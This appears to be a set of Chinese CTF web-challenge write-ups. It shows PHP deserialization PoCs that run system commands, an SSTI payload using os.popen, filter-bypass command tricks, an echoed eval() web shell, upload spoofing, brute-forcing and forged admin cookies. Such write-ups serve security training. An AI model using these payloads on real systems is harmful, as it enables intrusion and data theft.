渗透之王

访问admin.php

解密

访问/www.zip
获得一个加密的压缩包,密码就是解码的内容

获得字典,爆破
猜测用户名为admin

爆破出密码admin789

明显存在文件包含,但是什么文件都读不了

提示有文件上传,访问upload.php
存在文件上传,且在前端有检测,传一个jpg文件,抓包后修改为php,发包,使用蚁剑连接
获得flag

狗黑子的变量
<?php
error_reporting(0);
highlight_file(__FILE__);
$gou = $_GET["gou"];
$gou = str_replace(['~', '^', '_'], '', $gou);
$hei = array('Q', 'W', 'E', 'R', 'Y', 'U', 'I', 'O', 'S', 'D', 'F', 'G', 'J', 'K', 'L', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', 'q', 'w', 'e', 'r', 'y', 'u', 'i', 'o', 's', 'd', 'f', 'g', 'j', 'k', 'l', 'z', 'x', 'c', 'v', 'b', 'n', 'm');
$heizi = str_ireplace($hei, '', $gou);
if ($heizi !== $gou) {
die("heizi");
}
system($gou);
?>
过滤了取反异或自增的方法,还过滤了一堆字母,留下了apht
使用dirsearch扫描,发现admin.php

利用path拼接
ls—l是第6位
${PATH:5:1}${PATH:2:1}

拼接cat,访问获得falg

easyRead
poc
<?php
class Read {
public $source;
public $is;
}
class Help {
public $source;
public $str;
}
class Polar {
private $var;
public function getit($value){}
public function __invoke(){}
}
class Doit {
public $is;
private $source;
public function __construct(){}
}
$polar = new Polar();
$reflection = new ReflectionClass($polar);
$property = $reflection->getProperty('var');
$property->setAccessible(true);
$property->setValue($polar, "system('env');");
$doit = new Doit();
$doit->is = $polar;
$help = new Help();
$help->str = $doit;
$read2 = new Read();
$read2->is = $help;
$read1 = new Read();
$read1->source = $read2;
echo urlencode(serialize($read1));
?>
命运石之门

查看源码,解码获得提示:有时候验证码并不好使。于是使用万能验证码0000
dirsearch扫出一个password.txt

一个密码典
抓包爆破

爆破出密码,hunangleiSAMA0712

继续抓包爆破

密码:huan9le1Sam0
然后输入密码,选择对应图片即可获得flag

rce命令执行系统

可以执行命令,但基本都ban了
dirsearch扫描,发现一个flag.txt
访问

猜测是把php换成txt,1换成l,于是访问f1ag.php

提示一个参数XOR_KEY,并且提示靶场叫什么
回到开始的界面
传XOR_KEY=Polar

简单的链子
poc
<?php
class A {
public $cmd="cat /flag";
function __destruct() {
if (isset($this->cmd)) {
system($this->cmd);
}
}
}
$a = new A();
echo serialize($a);

ghost_render
根据名字就能看出和ssti有关

一个文件上传界面,感觉会渲染上传文件的内容
传一个md文件,内容为{{7*7}}
就是ssti,构造链子
{{config.**class**.**init**.**globals**['os'].popen('ls /').read()}}

没看到flag,后面在var目录发现flag

cat查询,获得flag

狗黑子的隐藏

发现一个cmd参数,可以执行命令,但过滤了很多东西
用echo写一个马重定向到1.php
echo "<?php @eval($_POST['a']);?>" >1.php
然后连蚁剑拿flag
真假ECR
<?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');
if (!isset($_GET['cmd'])) {
echo("审题啊!.");
}
$cmd=$_GET['cmd'];
if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd))
{
echo("想要什么直接访问试试呢");
exit;
}
system($cmd);
?>
过滤了一些东西,但没过滤\,直接读flag
ca\t /f\lag

nukaka_ser2
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
public function __toString() {
if (file_exists('/flag')) {
return file_get_contents('/flag');
} else {
return "Flag file not found!";
}
}
}
class DataValidator {
public static function check($input) {
$filtered = preg_replace('/[^\w]/', '', $input);
return strlen($filtered) > 10 ? true : false;
}
public function __invoke($data) {
return self::check($data);
}
}
class FakeDanger {
private $buffer;
public function __construct($data) {
$this->buffer = base64_encode($data);
}
public function __wakeup() {
if (rand(0, 100) > 50) {
$this->buffer = str_rot13($this->buffer);
}
}
}
class VulnerableClass {
public $logger;
private $debugMode = false;
public function __destruct() {
if ($this->debugMode) {
echo $this->logger;
} else {
$this->cleanup();
}
}
private function cleanup() {
if ($this->logger instanceof DataValidator) {
$this->logger = null;
}
}
}
function sanitize_input($data) {
$data = trim($data);
return htmlspecialchars($data, ENT_QUOTES);
}
if(isset($_GET['data'])) {
$raw = base64_decode($_GET['data']);
if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {
unserialize($raw);
}
} else {
highlight_file(__FILE__);
}
?>
poc
<?php
class FlagReader {
private $logfile = "/tmp/log.txt";
protected $content = "<?php system(\$_GET['cmd']); ?>";
}
class VulnerableClass {
public $logger;
private $debugMode = false;
}
$flag = new FlagReader();
$vuln = new VulnerableClass();
$ref = new ReflectionClass($vuln);
$debugMode = $ref->getProperty('debugMode');
$debugMode->setAccessible(true);
$debugMode->setValue($vuln, true);
$vuln->logger = $flag;
echo base64_encode(serialize($vuln));

你也玩铲吗
点击不玩,随便注册一个,登录
提示

查看源码

将user:admin编码
dXNlcjphZG1pbg==
dirsearch扫描发现/login_admin.html,还有/admin_login.php
在login_admin.html伪造一个cookie
auth=dXNlcjphZG1pbg==
访问/admin_login.php,即可获得flag